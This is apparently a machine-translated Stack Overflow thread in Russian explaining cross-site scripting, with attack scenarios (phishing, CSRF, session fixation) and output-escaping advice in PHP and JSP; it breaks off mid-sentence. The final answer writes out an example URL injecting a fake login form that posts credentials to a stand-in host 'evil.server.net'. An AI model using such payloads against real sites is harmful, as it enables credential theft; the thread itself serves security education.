Каково общее понятие позади XSS?

Перекрестный сайт, пишущий сценарий (XSS), является типом уязвимости компьютерной безопасности, обычно найденной в веб-приложениях, которые позволяют злонамеренным взломщикам ввести клиентский сценарий в веб-страницы, просматриваемые другими пользователями. Использованная уязвимость сценариев перекрестного сайта может использоваться взломщиками для обхода средств управления доступом, таких как та же политика источника. Сценарии перекрестного сайта, выполненные на веб-сайтах, составляли примерно 80% всех уязвимостей системы обеспечения безопасности, зарегистрированных Symantec по состоянию на 2007.

Хорошо, таким образом, это означает, что хакер обрабатывает некоторый злонамеренный JS/VBscript, и поставляет его не подозревающей жертве при посещении законного сайта, который имеет незавершенные исходные данные?

Я имею в виду, я знаю, как Внедрение SQL сделано....

Я особенно не понимаю, как JS/VBscript может нанести такой ущерб! Я thoguht они только выполняются в браузерах, но по-видимому диапазонах повреждения от keylogging до кражи cookie и троянцев.

Мое понимание XSS корректно? в противном случае кто-то может разъясниться?

Как я могу предотвратить XSS на своих веб-сайтах? Это кажется важным; 80% уязвимостей системы обеспечения безопасности означают, что это - чрезвычайно общепринятая методика для захватывания компьютеров.

18
задан ire_and_curses 9 February 2010 в 23:17
поделиться

5 ответов

Прямой XSS

  1. Я обнаружил, что у google есть xss-уязвимость
  2. Я написал скрипт, который переписывает публичную страницу google, чтобы она выглядела точно так же, как реальный логин google
  3. Моя поддельная страница отправляется на сторонний сервер, а затем перенаправляется обратно на настоящую страницу
  4. Я получаю пароли учетных записей google, пользователи не понимают, что произошло, google не знает, что произошло

XSS как платформа для CSRF (это якобы действительно произошло)

  1. Amazon имеет уязвимость csrf, где cookie "always keep me logged in" позволяет пометить запись как оскорбительную
  2. Я нахожу xss уязвимость на сайте с высокой посещаемостью
  3. Я пишу javascript, который перебирает ссылки, чтобы пометить все книги, написанные авторами-геями/лесбиянками на amazon как оскорбительные
  4. Для amazon, они получают действительные запросы от настоящих браузеров с настоящими auth cookie. Все книги исчезают с сайта за одну ночь
  5. Интернет взбесился до чертиков.

XSS как платформа для атак с фиксацией сессии

  1. Я нахожу сайт электронной коммерции, который не сбрасывает сессию после входа (как любой сайт asp.net), имеет возможность передавать идентификатор сессии через строку запроса или через cookie, и хранит информацию об аутентификации в сессии (довольно часто)
  2. Я нахожу XSS-уязвимость на странице этого сайта
  3. Я пишу скрипт, который устанавливает идентификатор сессии на тот, который я контролирую
  4. Кто-то заходит на эту страницу, и его перебрасывает в мою сессию.
  5. Они входят в систему
  6. Теперь у меня есть возможность делать все, что я хочу, под их именем, включая покупку товаров с помощью сохраненных карт

Эти три пункта являются основными. Проблема с атаками XSS, CSRF и Session Fixation в том, что их очень, очень трудно отследить и исправить, и их очень просто разрешить, особенно если разработчик мало о них знает.

20
ответ дан 30 November 2019 в 06:19
поделиться

Поскольку ответы о том, как XSS может быть вредоносным, уже даны, я опубликую только два хороших представления о флэш-памяти по XSS и отвечу на следующий вопрос, оставшийся без ответа:

как я могу предотвратить появление XSS на моих веб-сайтах?

Вот два хороших кратких представления о XSS:

Что касается предотвращения использования XSS, вам нужно экранировать HTML любой пользовательский ввод, когда они собираются повторно отобразить на странице. Сюда входят заголовки запроса, параметры запроса и любой сохраненный ввод, управляемый пользователем, который должен обслуживаться из базы данных. Особенно необходимо экранировать <, > , " и ', поскольку это может привести к искажению окружающего HTML-кода, в котором этот ввод

Практически любая технология просмотра предоставляет встроенные способы выхода из HTML (или XML, этого также достаточно) сущностей .

В PHP это можно сделать с помощью htmlspecialchars () ]. Например,

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

Если вам нужно также избежать одиночных кавычек с этим, вам нужно будет указать аргумент ENT_QUOTES , также см. Вышеупомянутую документацию PHP.

В JSP вы можете сделать это с помощью JSTL или fn: escapeXml () . Например,

<input name="foo" value="<c:out value="${param.foo}" />">

или

<input name="foo" value="${fn:escapeXml(param.foo)}">

Обратите внимание, что на самом деле вам не нужно экранировать XSS во время обработки запроса, а только во время обработки ответа.Экранирование во время обработки запроса не требуется, и оно может рано или поздно искажать вводимые пользователем данные (и как администратор сайта вы также хотели бы знать , что на самом деле имеет данный пользователь введен, чтобы при необходимости вы могли совершать социальные действия). Что касается SQL-инъекций, просто избегайте его только во время обработки запроса в момент, когда данные собираются сохранить в базе данных.

21
ответ дан 30 November 2019 в 06:19
поделиться

Проблемы XSS-атак больше связаны с рыболовством. Проблема в том, что на сайт, которому доверяет клиент, может быть внедрен код, который ведет на сайт, созданный злоумышленником с определенной целью. Например, кража конфиденциальной информации.

Итак, в XSS-атаках злоумышленники не попадают в вашу базу данных и не связываются с ней. Он играет с чувством клиента, что этот сайт безопасен и каждая ссылка на нем указывает на безопасное место.

Это лишь первый шаг настоящей атаки - вовлечь клиента во враждебную среду.

Приведу краткий пример. Если, например, банковское учреждение размещает на своей странице чат-бокс и они не защищают меня от XSS-атак, я могу крикнуть: «Эй, зайдите по этой ссылке и введите свои пароли и номер кредитной карты для проверки безопасности!» ... И вы знаете, куда ведет эта ссылка, верно?

Вы можете предотвратить XSS-атаки, убедившись, что на вашей странице не отображается ничего, исходящее от ввода пользователя, без экранирования тегов html. Специальные символы должны быть экранированы, чтобы они не мешали разметке ваших html-страниц (или любой другой технологии, которую вы используете). Есть много библиотек, которые предоставляют это, включая библиотеку Microsoft AntiXSS.

0
ответ дан 30 November 2019 в 06:19
поделиться

Представьте себе веб-форум. XSS-атака может заключаться в том, что я делаю сообщение с некоторым javascript. Когда вы переходите на страницу, ваша веб-страница загружается, запускает js и делает то, что я сказал. Поскольку вы перешли на страницу и, скорее всего, вошли в систему, мой javascript будет делать все, на что у вас есть привилегии, например, создавать сообщения, удалять свои сообщения, вставлять спам, показывать всплывающие окна и т.д.

Итак, реальная концепция XSS заключается в том, что скрипт выполняется в вашем пользовательском контексте, что является повышением привилегий. Вы должны быть внимательны к тому, чтобы в любом месте вашего приложения, принимающего пользовательский ввод, любые скрипты и т.д. внутри него были экранированы, чтобы гарантировать, что XSS не может быть выполнен.

Вы должны следить за вторичными атаками. Представьте, если я помещу вредоносный скрипт в свое имя пользователя. Он может попасть на сайт без проверки, а затем вернуться обратно без проверки, но тогда любая страница, просматриваемая с моим именем пользователя, фактически выполнит вредоносный скрипт в пользовательском контексте.

Эскейп пользовательского ввода. Не разворачивайте свой код для этого. Проверяйте все, что входит, и все, что выходит.

5
ответ дан 30 November 2019 в 06:19
поделиться

я не понимаю, как JS/VBscript может причинить столько вреда!

Хорошо. Предположим, у вас есть сайт, и сайт обслуживается с http://trusted.server.com/thesite. Допустим, на сайте есть окно поиска, и при поиске url становится: http://trusted.server.com/thesite?query=somesearchstring.

Если сайт решит не обрабатывать поисковую строку и выведет ее в результатах, типа "Вы искали "somesearchstring" и не получили никаких результатов", то любой может внедрить на сайт произвольный html. Например:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

Итак, в этом случае сайт послушно покажет фальшивую форму входа на странице результатов поиска, и если пользователь ее отправит, он отправит данные на злой недоверенный сервер. Но пользователь этого не видит, особенно если url очень длинный, он увидит только первое "но" и решит, что имеет дело с trusted.server.com.

Вариации на эту тему включают внедрение тега